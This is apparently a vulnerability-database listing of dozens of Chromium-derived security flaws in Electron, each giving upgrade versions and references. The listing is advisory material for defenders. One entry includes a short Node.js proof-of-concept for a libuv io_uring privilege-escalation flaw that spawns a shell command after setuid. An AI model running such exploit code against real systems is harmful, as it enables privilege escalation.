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Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion'). Type confusion in V8 in Google Chrome allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.12, 11.4.9 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release
• CISA - Known Exploited Vulnerabilities
• PoC in GitHub

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access Restriction Bypass in Blink.

Remediation

Upgrade electron to version 13.5.0, 12.2.0 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap Buffer Overflow via WebAudio.

Remediation

Upgrade electron to version 11.4.0, 10.4.1 or higher.

References

• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap Overflow. A Heap buffer overflow exists in the media component of Google Chrome, which also affects chromium.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.1 or higher.

References

• Electron GitHub Backport PR
• Google Chrome Release Notes
• Redhat Bugzilla

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow. A heap buffer overflow flaw was found in the UI component of the Chromium browser.

Remediation

Upgrade electron to version 9.4.0, 10.2.0 or higher.

References

• Chrome Release Update
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the WebRTC module in Chromium.

Remediation

Upgrade electron to version 14.2.0, 13.5.2, 12.2.3 or higher.

References

• GitHub PR
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via a crafted HTML page. An attacker can potentially exploit heap corruption by deceiving a user to visit a malicious web page.

Remediation

Upgrade electron to version 27.3.3 or higher.

References

• Chrome Releases
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component. An attacker can potentially exploit heap corruption through a crafted HTML page.

Remediation

Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the WebRTC component. An attacker can cause heap corruption and potentially execute arbitrary code by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3, 30.1.2 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Access Control. An insufficient policy enforcement flaw was found in the networking component of chromium.

Remediation

Upgrade electron to version 9.4.0, 10.1.7 or higher.

References

• Chrome Release Update
• Electron - GitHub PR
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Access Control. It has an inappropriate implementation in V8.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.1 or higher.

References

• Electron
• Google Chrome Release
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Access Control due to an inappropriate implementation in Extensions. An attacker can bypass site isolation.

Remediation

Upgrade electron to version 31.7.4, 32.2.3 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Input Validation. An insufficient data validation flaw was found in the WASM component of the Chromium browser.

Remediation

Upgrade electron to version 9.4.0, 10.1.7 or higher.

References

• Chrome Release Update
• GitHub Commit
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer due to an inappropriate implementation in the V8 engine. An attacker can potentially perform out of bounds memory access by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.3.0 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow via Chromium in Mojo.

Remediation

Upgrade electron to version 10.4.4 or higher.

References

• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the Mojo component of chromium.

Remediation

Upgrade electron to version 10.4.4, 12.0.6 or higher.

References

• GitHub PR
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound due to handle reuse in Mojo.

Remediation

Upgrade electron to version 14.2.7, 15.4.0 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Interger Underflow in ANGLE. A remote attacker could potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 14.2.5, 15.3.6 or higher.

References

• GitHub PR
• Github Release 14.2.5
• Github Release 15.3.6

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds. Object lifecycle issue in audio.

Remediation

Upgrade electron to version 11.4.0, 10.4.1 or higher.

References

• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read allowing a remote attacker to exploit heap corruption via a crafted HTML page.

Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.

Remediation

Upgrade electron to version 26.6.7 or higher.

References

• Chrome Releases
• GitHub Commit
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read through the V8 engine. An attacker can access memory locations outside of the intended boundary by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read via a crafted HTML page. An attacker can access memory locations outside the intended boundary by crafting a malicious HTML page that triggers the flaw.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write via a data race in the audio component. A remote attacker could potentially exploit heap corruption using a crafted HTML page.

Remediation

Upgrade electron to version 10.4.1, 11.4.1 or higher.

References

• GitHub PR
• GitHub Release
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds Write through the Streams API. An attacker can execute arbitrary code within a sandboxed environment by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Privilege Context Switching Error in libuv's handling of io_uring operations called before calling setuid(). This allows users to elevate privileges.

PoC

const { spawn } = require('node:child_process');
const process = require('process');

process.env['UV_USE_IO_URING']=1;

process.setuid(400);
const ls = spawn('cmd.exe', [' whoami']);

ls.stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });
  
ls.stderr.on('data', (data) => {
    console.error(`stderr: ${data}`);
  });
  
ls.on('close', (code) => {
    console.log(`child process exited with code ${code}`);
  });

console.log("The user identity of the Node.js" + " process:", process.getuid());

Remediation

Upgrade electron to version 29.4.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• PoC

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 12.0.10, 11.4.8, 10.4.7 or higher.

References

• Chromium Security Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8 via Chrome.

Remediation

Upgrade electron to version 12.0.16, 11.4.11 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release Notes
• GitHub Release Notes
• PoC
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion via Blink layout in Chrome.

Remediation

Upgrade electron to version 13.5.0, 12.2.0 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8. This allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 13.6.3, 14.2.2, 15.3.3 or higher.

References

• Chrome Release
• GitHub PR 13.x.y Branch
• GitHub PR 14.x.y Branch
• GitHub PR 15.x.y Branch

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in loader in Google Chrome. This can lead to heap corruption which is exploited through a crafted HTML page.

Remediation

Upgrade electron to version 13.6.6, 14.2.4, 15.3.5 or higher.

References

• Chrome Release
• Chromium Bug Report
• GitHub PR 13.x.y Branch
• GitHub PR 14.x.y Branch
• GitHub PR 15.x.y Branch
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8 in Google Chrome allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 13.6.8, 14.2.5, 15.3.6 or higher.

References

• Chrome Releases
• GitHub PR 13.x.y Branch
• GitHub PR 14.x.y Branch
• GitHub PR 15.x.y Branch

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 17.4.11, 18.3.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Google Advisory

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 19.1.5, 20.3.5 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub PR
• GitHub Release
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 7.3.1 or higher.

References

• Chrome Security Release
• Electron Release Tag
• PoC
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion due to the V8 process. An attacker can potentially perform arbitrary read/write by exploiting a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• Github Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the site isolation.

Remediation

Upgrade electron to version 8.5.4, 9.3.5, 10.1.6 or higher.

References

• Chromium Security Advisory
• GitHub Commit
• RedHat Bugzilla Bug
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. A use after free flaw was found in the PPAPI component of the Chromium browser.

Remediation

Upgrade electron to version 9.4.0, 10.2.0 or higher.

References

• Chrome Release Update
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Media.

Remediation

Upgrade electron to version 11.2.1, 9.4.4 or higher.

References

• Chromium Security Advisory
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. It hands sub-queries with both a correlated WHERE clause and a HAVING 0 clause where the parent query is itself an aggregate.

Remediation

Upgrade electron to version 11.2.1, 9.4.4 or higher.

References

• Chromium Security Advisory
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. When a LayoutInline is removed, LineBoxList::DirtyLinesFromChangedChild tries to mark affected RootInlineBox dirty.

When the |LayoutInline| to be removed is culled, it tries to find the RootInlineBox from its previous siblings, then look for its previous and next RootInlineBoxes.

Occasionally, the next next line of the previous sibling is wrapped at the LayoutInline, and that its LineBreakObj() holds the reference to the LayoutInline. This patch marks such RootInlineBox dirty.

Remediation

Upgrade electron to version 11.4.0, 10.4.1 or higher.

References

• GitHub PR
• GitHub PR
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebRTC.

Remediation

Upgrade electron to version 11.4.0, 10.4.1 or higher.

References

• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. It allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 10.4.2, 11.4.1 or higher.

References

• GitHub PR
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via a vulnerability that exists in Blink in Chromium. A remote attacker can trick the victim to visit a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Remediation

Upgrade electron to version 11.4.4, 10.4.4 or higher.

References

• GitHub PR
• GitHub PR
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via Chrome which allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.5, 11.4.4, 10.4.4 or higher.

References

• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via chromium which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.5, 11.4.4, 10.4.4 or higher.

References

• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via Aura in Google Chrome which allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.5, 11.4.4, 10.4.4 or higher.

References

• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Navigation component of chromium.

Remediation

Upgrade electron to version 10.4.4, 11.4.4, 12.0.6 or higher.

References

• GitHub PR
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the chromium extensions resource.

Remediation

Upgrade electron to version 11.4.4, 10.4.4 or higher.

References

• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in File API.

Remediation

Upgrade electron to version 12.0.10, 11.4.8, 10.4.7 or higher.

References

• Chromium Security Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Notifications.

Remediation

Upgrade electron to version 12.0.10, 11.4.8, 10.4.7 or higher.

References

• Chromium Security Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. Use after free in Loader in Google Chrome allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.12, 11.4.9 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in BFCache in Google Chrome, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 12.0.13, 11.4.9 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebGL.

Remediation

Upgrade electron to version 12.0.13, 11.4.10 or higher.

References

• Chromium Security Advisory
• GitHub PR
• GitHub PR
• GitHub Release
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebRTC.

Remediation

Upgrade electron to version 12.0.14, 11.4.10 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebAudio.

Remediation

Upgrade electron to version 12.0.14, 11.4.10 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Blink XSLT.

Remediation

Upgrade electron to version 12.0.16, 11.4.11 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release Notes
• GitHub Release Notes

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebSerial via Chrome.

Remediation

Upgrade electron to version 12.0.16, 11.4.11 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release Notes 11.4.11
• GitHub Release Notes 12.0.16

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in V8 via Chrome.

Remediation

Upgrade electron to version 12.0.16, 11.4.11 or higher.

References

• GitHub PR
• GitHub PR
• Github Release Notes
• GitHub Release Notes

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in GPU.

Remediation

Upgrade electron to version 13.1.8, 12.0.16, 11.4.11 or higher.

References

• GitHub Release
• GitHub Release
• GitHub Release
• PoC in GitHub

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Autofill.

Remediation

Upgrade electron to version 12.0.16, 11.4.11 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release Notes
• GitHub Release Notes

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Indexed DB API.

Remediation

Upgrade electron to version 13.5.0, 12.2.0 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Relase
• GitHub Release
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Chromium FileReader.

Note: This vulnerability affects all software based on Chromium, including Electron.

Remediation

Upgrade electron to version 2.0.18, 3.0.16, 3.1.6, 4.0.8 or higher.

References

• Chrome Release
• Electron Security Announcement
• Exploit
• Exploit DB
• GitHub Commit
• GitHub Issue
• NPM Security Advisory
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via heap corruption through a crafted HTML page.

Remediation

Upgrade electron to version 14.1.1, 13.5.2, 12.2.2 or higher.

References

• GitHub PR 12.2.2
• GitHub PR 13.5.2
• GitHub PR 14.1.1
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the file system API, through a heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 14.1.1, 13.5.2, 12.2.2 or higher.

References

• GitHub PR 12.2.2
• GitHub PR 13.5.2
• GitHub PR 14.1.1

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Garbage Collection module in Chromium.

Remediation

Upgrade electron to version 14.2.1, 13.6.2, 12.2.3 or higher.

References

• GitHub PR
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Web Transport module in Chromium.

Remediation

Upgrade electron to version 14.2.1, 13.6.2 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in loader in Google Chrome. This allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 13.6.3, 14.2.2, 15.3.3 or higher.

References

• Chrome Release
• GitHub PR 13.x.y Branch
• GitHub PR 14.x.y Branch
• GitHub PR 15.x.y Branch

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the storage foundation, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page

Remediation

Upgrade electron to version 16.0.0 or higher.

References

• GitHub PR 13.x.y Branch
• GitHub PR 14.x.y Branch
• GitHub PR 15.x.y Branch

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in media in Google Chrome which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 15.3.5 or higher.

References

• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via file API in Google Chrome prior to 96.0.4664.93. It allows a remote attacker who have compromised the renderer process to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 13.6.6, 14.2.4, 15.3.5 or higher.

References

• Chrome Release
• Chromium Bug Report
• GitHub PR
• GitHub Release
• GitHub Release
• Github Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free on context loss.

Remediation

Upgrade electron to version 14.2.7, 15.4.0, 16.0.10 or higher.

References

• GitHub PR
• Github Releases
• Github Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free when the source framebuffer's extents were accidentally used instead of the blit area extents.

Remediation

Upgrade electron to version 14.2.7, 15.4.0, 16.0.10 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub PR
• Release Notes
• Release Notes
• Release Notes

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the BFCache, due to the attempts to cache an interstitial which results in a crash.

Remediation

Upgrade electron to version 16.2.4, 17.4.2 or higher.

References

• GitHub Fix Commit Version 16.x
• GitHub Fix Commit Version 17.x
• GitHub PR
• Google Blog

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in regular expressions (V8).

Remediation

Upgrade electron to version 15.5.3, 16.2.4, 17.4.2 or higher.

References

• Chrome Releases
• GitHub PR 15.x.y
• GitHub PR 16.x.y
• GitHub PR 17.x.y
• GitHub Release 15.5.3
• GitHub Release 16.2.4
• GitHub Release 17.4.2

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Angle, when pausing XFB then deleting a buffer.

Remediation

Upgrade electron to version 15.5.4, 16.2.6, 17.4.3 or higher.

References

• GitHub PR
• GitHub Release
• Github Releases
• Github Releases
• Google Blog

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Vulkan.

Remediation

Upgrade electron to version 15.5.6, 16.2.6, 17.4.4 or higher.

References

• GitHub PR
• GitHub PR
• GitHub Release
• Github Releases
• Github Releases
• Google Blog

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in File System API.

Remediation

Upgrade electron to version 16.2.6, 17.4.3, 18.2.2 or higher.

References

• GitHub PR
• GitHub Release
• Github Releases
• Github Releases
• Google Blog

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in SwiftShader.

Remediation

Upgrade electron to version 15.5.4, 16.2.5, 17.4.3 or higher.

References

• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper cache state validation after the XFB buffer was deleted.

Remediation

Upgrade electron to version 15.5.6, 16.2.7, 17.4.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub PR
• GitHub Release
• Google Blog

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Angle.

Remediation

Upgrade electron to version 17.4.8, 18.3.4 or higher.

References

• Chrome Releases
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free when glBufferData redefines a buffer and the new buffer is smaller than the old buffer.

Remediation

Upgrade electron to version 18.3.11, 19.0.15 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Blink, when a DisplayLock is unlocked via ForceUnlockIfNeeded.

Remediation

Upgrade electron to version 18.3.11 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in SwiftShader.

Remediation

Upgrade electron to version 19.0.15 or higher.

References

• Chrome Releases
• GitHub PR
• GitHub Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebSQL

Remediation

Upgrade electron to version 18.3.14, 20.1.4 or higher.

References

• Chrome Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebSQL.

Remediation

Upgrade electron to version 18.3.12, 19.0.16, 20.1.2 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Layout.

Remediation

Upgrade electron to version 19.1.0, 18.3.14 or higher.

References

• Chrome Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Network Service

Remediation

Upgrade electron to version 20.1.2, 19.1.0, 18.3.12 or higher.

References

• Chrome Releases
• Electron v20.1.2 Release
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Frames, via a crafted HTML page.

Remediation

Upgrade electron to version 18.3.14, 19.1.0 or higher.

References

• Chrome Releases
• GitHub PR
• GitHub Releases
• GitHub Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Layout.

Remediation

Upgrade electron to version 19.1.5, 20.3.5 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebCodecs, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

• Chrome Releases
• GitHub PR

Overview

